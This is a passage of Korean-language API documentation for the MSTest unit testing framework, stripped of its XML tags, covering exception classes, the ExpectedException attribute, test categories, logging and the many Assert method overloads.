초기화합니다. - - 메시지. - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - InternalTestFailureException 클래스. 테스트 사례에 대한 내부 실패를 나타내는 데 사용됩니다. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 예외 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 예외 메시지. - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 지정된 형식의 예외를 예상하도록 지정하는 특성 - - - - - 예상 형식이 있는 클래스의 새 인스턴스를 초기화합니다. - - 예상되는 예외의 형식 - - - - 테스트에서 예외를 throw하지 않을 때 포함할 메시지 및 예상 형식이 있는 클래스의 - 새 인스턴스를 초기화합니다. - - 예상되는 예외의 형식 - - 예외를 throw하지 않아 테스트가 실패할 경우 테스트 결과에 포함할 메시지 - - - - - 예상되는 예외의 형식을 나타내는 값을 가져옵니다. - - - - - 예상 예외의 형식에서 파생된 형식이 예상대로 자격을 얻도록 허용할지 여부를 나타내는 값을 가져오거나 - 설정합니다. - - - - - 예외를 throw하지 않아 테스트에 실패하는 경우 테스트 결과에 포함할 메시지를 가져옵니다. - - - - - 단위 테스트에 의해 throw되는 예외의 형식이 예상되는지를 확인합니다. - - 단위 테스트에서 throw한 예외 - - - - 단위 테스트에서 예외를 예상하도록 지정하는 특성에 대한 기본 클래스 - - - - - 기본 예외 없음 메시지가 있는 클래스의 새 인스턴스를 초기화합니다. - - - - - 예외 없음 메시지가 있는 클래스의 새 인스턴스를 초기화합니다. - - - 예외를 throw하지 않아서 테스트가 실패할 경우 테스트 결과에 포함할 - 메시지 - - - - - 예외를 throw하지 않아 테스트에 실패하는 경우 테스트 결과에 포함할 메시지를 가져옵니다. - - - - - 예외를 throw하지 않아 테스트에 실패하는 경우 테스트 결과에 포함할 메시지를 가져옵니다. - - - - - 기본 예외 없음 메시지를 가져옵니다. - - ExpectedException 특성 형식 이름 - 기본 예외 없음 메시지 - - - - 예외가 예상되는지 여부를 확인합니다. 메서드가 반환되면 예외가 - 예상되는 것으로 이해됩니다. 메서드가 예외를 throw하면 예외가 - 예상되지 않는 것으로 이해되고, throw된 예외의 메시지가 - 테스트 결과에 포함됩니다. 클래스는 편의를 위해 사용될 수 - 있습니다. 이(가) 사용되는 경우 어설션에 실패하며, - 테스트 결과가 [결과 불충분]으로 설정됩니다. - - 단위 테스트에서 throw한 예외 - - - - AssertFailedException 또는 AssertInconclusiveException인 경우 예외를 다시 throw합니다. - - 어설션 예외인 경우 예외를 다시 throw - - - - 이 클래스는 제네릭 형식을 사용하는 형식에 대한 사용자의 유닛 테스트를 지원하도록 설계되었습니다. - GenericParameterHelper는 몇 가지 공통된 제네릭 형식 제약 조건을 충족합니다. - 예: - 1. public 기본 생성자 - 2. 공통 인터페이스 구현: IComparable, IEnumerable - - - - - C# 제네릭의 '새로 입력할 수 있는' 제약 조건을 충족하는 클래스의 - 새 인스턴스를 초기화합니다. - - - This constructor initializes the Data property to a random value. - - - - - 데이터 속성을 사용자가 제공한 값으로 초기화하는 클래스의 - 새 인스턴스를 초기화합니다. - - 임의의 정수 값 - - - - 데이터를 가져오거나 설정합니다. - - - - - 두 GenericParameterHelper 개체의 값을 비교합니다. - - 비교할 개체 - 개체의 값이 '이' GenericParameterHelper 개체와 동일한 경우에는 true이고, - 동일하지 않은 경우에는 false입니다. - - - - 이 개체의 해시 코드를 반환합니다. - - 해시 코드입니다. - - - - 두 개체의 데이터를 비교합니다. - - 비교할 개체입니다. - - 이 인스턴스 및 값의 상대 값을 나타내는 부호 있는 숫자입니다. - - - Thrown when the object passed in is not an instance of . - - - - - 길이가 데이터 속성에서 파생된 IEnumerator 개체를 - 반환합니다. - - IEnumerator 개체 - - - - 현재 개체와 동일한 GenericParameterHelper 개체를 - 반환합니다. - - 복제된 개체입니다. - - - - 사용자가 진단을 위해 단위 테스트에서 추적을 로그하거나 쓸 수 있습니다. - - - - - LogMessage용 처리기입니다. - - 로깅할 메시지. - - - - 수신할 이벤트입니다. 단위 테스트 기록기에서 메시지를 기록할 때 발생합니다. - 주로 어댑터에서 사용합니다. - - - - - 메시지를 로그하기 위해 테스트 작성자가 호출하는 API입니다. - - 자리 표시자가 있는 문자열 형식. - 자리 표시자에 대한 매개 변수. - - - - TestCategory 특성 - 단위 테스트의 범주 지정에 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화하고 범주를 테스트에 적용합니다. - - - 테스트 범주. - - - - - 테스트에 적용된 테스트 범주를 가져옵니다. - - - - - "Category" 특성을 위한 기본 클래스 - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - 클래스의 새 인스턴스를 초기화합니다. - 범주를 테스트에 적용합니다. TestCategories에 의해 반환된 문자열은 - 테스트 필터링을 위한 /category 명령과 함께 사용됩니다. - - - - - 테스트에 적용된 테스트 범주를 가져옵니다. - - - - - AssertFailedException 클래스 - 테스트 사례에 대한 실패를 나타내는 데 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 단위 테스트 내에서 다양한 조건을 테스트하기 위한 도우미 - 클래스의 컬렉션입니다. 테스트 중인 조건이 충족되지 않으면 예외가 - throw됩니다. - - - - - Assert 기능의 singleton 인스턴스를 가져옵니다. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 지정된 조건이 true인지를 테스트하고 조건이 false이면 예외를 - throw합니다. - - - 테스트가 참일 것으로 예상하는 조건. - - - Thrown if is false. - - - - - 지정된 조건이 true인지를 테스트하고 조건이 false이면 예외를 - throw합니다. - - - 테스트가 참일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 거짓인 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is false. - - - - - 지정된 조건이 true인지를 테스트하고 조건이 false이면 예외를 - throw합니다. - - - 테스트가 참일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 거짓인 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is false. - - - - - 지정된 조건이 false인지를 테스트하고 조건이 true이면 예외를 - throw합니다. - - - 테스트가 거짓일 것으로 예상하는 조건. - - - Thrown if is true. - - - - - 지정된 조건이 false인지를 테스트하고 조건이 true이면 예외를 - throw합니다. - - - 테스트가 거짓일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 참인 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is true. - - - - - 지정된 조건이 false인지를 테스트하고 조건이 true이면 예외를 - throw합니다. - - - 테스트가 거짓일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 참인 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is true. - - - - - 지정된 개체가 Null인지를 테스트하고, Null이 아니면 예외를 - throw합니다. - - - 테스트가 null일 것으로 예상하는 개체. - - - Thrown if is not null. - - - - - 지정된 개체가 Null인지를 테스트하고, Null이 아니면 예외를 - throw합니다. - - - 테스트가 null일 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null이 아닌 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is not null. - - - - - 지정된 개체가 Null인지를 테스트하고, Null이 아니면 예외를 - throw합니다. - - - 테스트가 null일 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null이 아닌 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not null. - - - - - 지정된 개체가 Null이 아닌지를 테스트하고, Null이면 예외를 - throw합니다. - - - 테스트가 null이 아닐 것으로 예상하는 개체. - - - Thrown if is null. - - - - - 지정된 개체가 Null이 아닌지를 테스트하고, Null이면 예외를 - throw합니다. - - - 테스트가 null이 아닐 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null인 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is null. - - - - - 지정된 개체가 Null이 아닌지를 테스트하고, Null이면 예외를 - throw합니다. - - - 테스트가 null이 아닐 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null인 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is null. - - - - - 지정된 두 개체가 동일한 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하지 않으면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if does not refer to the same object - as . - - - - - 지정된 두 개체가 동일한 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하지 않으면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if does not refer to the same object - as . - - - - - 지정된 두 개체가 동일한 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하지 않으면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not refer to the same object - as . - - - - - 지정된 개체가 서로 다른 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if refers to the same object - as . - - - - - 지정된 개체가 서로 다른 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if refers to the same object - as . - - - - - 지정된 개체가 서로 다른 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if refers to the same object - as . - - - - - 지정된 값이 같은지를 테스트하고, 두 값이 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if is not equal to . - - - - - 지정된 값이 같은지를 테스트하고, 두 값이 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 값이 같은지를 테스트하고, 두 값이 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 값이 다른지를 테스트하고, 두 값이 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if is equal to . - - - - - 지정된 값이 다른지를 테스트하고, 두 값이 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 값이 다른지를 테스트하고, 두 값이 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 개체가 같은지를 테스트하고, 두 개체가 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 개체입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - Thrown if is not equal to - . - - - - - 지정된 개체가 같은지를 테스트하고, 두 개체가 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 개체입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 개체가 같은지를 테스트하고, 두 개체가 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 개체입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 개체가 다른지를 테스트하고, 두 개체가 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - Thrown if is equal to . - - - - - 지정된 개체가 다른지를 테스트하고, 두 개체가 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 개체가 다른지를 테스트하고, 두 개체가 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 부동이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 예상하는 부동입니다. - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - Thrown if is not equal to - . - - - - - 지정된 부동이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 예상하는 부동입니다. - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 부동이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 예상하는 부동입니다. - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 부동이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 부동: . - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - Thrown if is equal to . - - - - - 지정된 부동이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 부동: . - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 부동이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 부동: . - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 double이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 예상하는 double입니다. - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - Thrown if is not equal to - . - - - - - 지정된 double이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 예상하는 double입니다. - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is not equal to . - - - - - 지정된 double이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 예상하는 double입니다. - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to . - - - - - 지정된 double이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 다음과 일치하지 않을 것으로 예상하는 - double: . - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - Thrown if is equal to . - - - - - 지정된 double이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 다음과 일치하지 않을 것으로 예상하는 - double: . - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 double이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 다음과 일치하지 않을 것으로 예상하는 - double: . - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 